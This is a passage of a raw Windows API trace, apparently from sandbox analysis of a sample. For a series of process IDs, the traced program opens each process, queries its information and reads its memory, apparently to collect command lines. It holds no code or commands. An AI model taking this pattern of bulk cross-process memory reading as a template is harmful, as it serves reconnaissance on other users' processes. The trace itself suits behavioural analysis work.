(dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1200) returned 0xa9c [0313.112] GetLastError () returned 0x0 [0313.112] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0313.112] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x2ec018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0313.112] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0313.113] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5f2660, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0313.113] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5f2258, lpBuffer=0x5ec5a0, nSize=0x6a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0313.113] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0313.113] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0313.113] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x2ec020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0313.114] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5f1c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0313.114] malloc (_Size=0x72) returned 0xea95a0 [0313.114] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5f22c2, lpBuffer=0xea95a0, nSize=0x70, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea95a0*, lpNumberOfBytesRead=0x0) returned 1 [0313.114] free (_Block=0xea95a0) [0313.115] CloseHandle (hObject=0xa9c) returned 1 [0313.115] _ui64tow_s (in: _Value=0x1248, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="4680") returned 0x0 [0313.115] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="4680") returned 4 [0313.115] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0313.115] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0313.116] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1248) returned 0xa9c [0313.116] GetLastError () returned 0x0 [0313.116] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0313.116] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x238018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0313.117] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0313.117] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x6726b0, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0313.117] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x672258, lpBuffer=0x5ec5a0, nSize=0x88, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0313.117] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0313.118] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0313.118] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x238020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0313.118] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x671c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0313.118] malloc (_Size=0x90) returned 0xec7d40 [0313.118] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x6722e0, lpBuffer=0xec7d40, nSize=0x8e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xec7d40*, lpNumberOfBytesRead=0x0) returned 1 [0313.119] free (_Block=0xec7d40) [0313.120] CloseHandle (hObject=0xa9c) returned 1 [0313.120] _ui64tow_s (in: _Value=0x1280, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="4736") returned 0x0 [0313.121] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="4736") returned 4 [0313.121] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0313.121] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0313.122] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1280) returned 0xa9c [0313.122] GetLastError () returned 0x0 [0313.122] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0313.122] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x307018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0313.122] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0313.122] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x1f2630, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0313.122] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x1f2258, lpBuffer=0x5ec5a0, nSize=0x5c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0313.123] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0313.123] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0313.123] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x307020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0313.123] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x1f1c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0313.123] malloc (_Size=0x64) returned 0xeb63f0 [0313.123] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x1f22b4, lpBuffer=0xeb63f0, nSize=0x62, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb63f0*, lpNumberOfBytesRead=0x0) returned 1 [0313.124] free (_Block=0xeb63f0) [0313.124] CloseHandle (hObject=0xa9c) returned 1 [0313.124] _ui64tow_s (in: _Value=0x12b4, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="4788") returned 0x0 [0313.125] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="4788") returned 4 [0313.125] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0313.125] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0313.126] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x12b4) returned 0xa9c [0313.126] GetLastError () returned 0x0 [0313.126] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0313.126] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x27f018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0313.126] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0313.126] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x1f2640, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0313.126] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x1f2258, lpBuffer=0x5ec5a0, nSize=0x5e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0313.127] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0313.127] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0313.127] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x27f020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0313.127] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x1f1c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0313.127] malloc (_Size=0x66) returned 0xeb62a0 [0313.127] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x1f22b6, lpBuffer=0xeb62a0, nSize=0x64, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb62a0*, lpNumberOfBytesRead=0x0) returned 1 [0313.128] free (_Block=0xeb62a0) [0313.128] CloseHandle (hObject=0xa9c) returned 1 [0313.128] _ui64tow_s (in: _Value=0x1344, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="4932") returned 0x0 [0313.128] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="4932") returned 4 [0313.129] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0313.129] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0313.129] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1344) returned 0xa9c [0313.130] GetLastError () returned 0x0 [0313.130] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0313.130] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x742018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0313.130] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0313.130] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x282650, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0313.130] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x282258, lpBuffer=0x5ec5a0, nSize=0x66, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0313.131] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0313.131] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0313.131] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x742020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0313.131] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x281c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0313.131] malloc (_Size=0x6e) returned 0xea9820 [0313.131] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x2822be, lpBuffer=0xea9820, nSize=0x6c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea9820*, lpNumberOfBytesRead=0x0) returned 1 [0313.132] free (_Block=0xea9820) [0313.132] CloseHandle (hObject=0xa9c) returned 1 [0313.132] _ui64tow_s (in: _Value=0x1388, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5000") returned 0x0 [0313.133] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="5000") returned 4 [0313.133] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0313.133] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0313.134] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1388) returned 0xa9c [0313.134] GetLastError () returned 0x0 [0313.134] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0313.134] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3ea018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0313.134] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0313.134] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5a2660, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0313.134] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5a2258, lpBuffer=0x5ec5a0, nSize=0x6a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0313.167] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0313.167] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0313.167] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3ea020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0313.167] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5a1c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0313.167] malloc (_Size=0x72) returned 0xea97a0 [0313.167] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5a22c2, lpBuffer=0xea97a0, nSize=0x70, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea97a0*, lpNumberOfBytesRead=0x0) returned 1 [0313.168] free (_Block=0xea97a0) [0313.168] CloseHandle (hObject=0xa9c) returned 1 [0313.169] _ui64tow_s (in: _Value=0x13ac, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5036") returned 0x0 [0313.169] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="5036") returned 4 [0313.169] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0313.169] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0313.170] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x13ac) returned 0xa9c [0313.170] GetLastError () returned 0x0 [0313.170] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0313.170] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x405018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0313.170] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0313.171] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x2b2630, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0313.171] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x2b2258, lpBuffer=0x5ec5a0, nSize=0x5c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0313.171] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0313.171] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0313.171] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x405020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0313.172] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x2b1c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0313.172] malloc (_Size=0x64) returned 0xeb62a0 [0313.172] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x2b22b4, lpBuffer=0xeb62a0, nSize=0x62, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb62a0*, lpNumberOfBytesRead=0x0) returned 1 [0313.173] free (_Block=0xeb62a0) [0313.173] CloseHandle (hObject=0xa9c) returned 1 [0313.173] _ui64tow_s (in: _Value=0x13c8, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5064") returned 0x0 [0313.173] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="5064") returned 4 [0313.174] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0313.174] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0313.175] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x13c8) returned 0xa9c [0313.175] GetLastError () returned 0x0 [0313.175] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0313.175] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3bc018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0313.175] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0313.175] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x432610, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0313.176] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x432258, lpBuffer=0x5ec5a0, nSize=0x4e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0313.176] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0313.176] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0313.176] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3bc020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0313.176] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x431c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0313.177] malloc (_Size=0x56) returned 0xeaa290 [0313.177] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4322a6, lpBuffer=0xeaa290, nSize=0x54, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeaa290*, lpNumberOfBytesRead=0x0) returned 1 [0313.178] free (_Block=0xeaa290) [0313.179] CloseHandle (hObject=0xa9c) returned 1 [0313.179] _ui64tow_s (in: _Value=0x1028, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="4136") returned 0x0 [0313.180] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="4136") returned 4 [0313.180] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0313.180] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0313.182] OpenProcess (dwDesiredAccess=0x410, 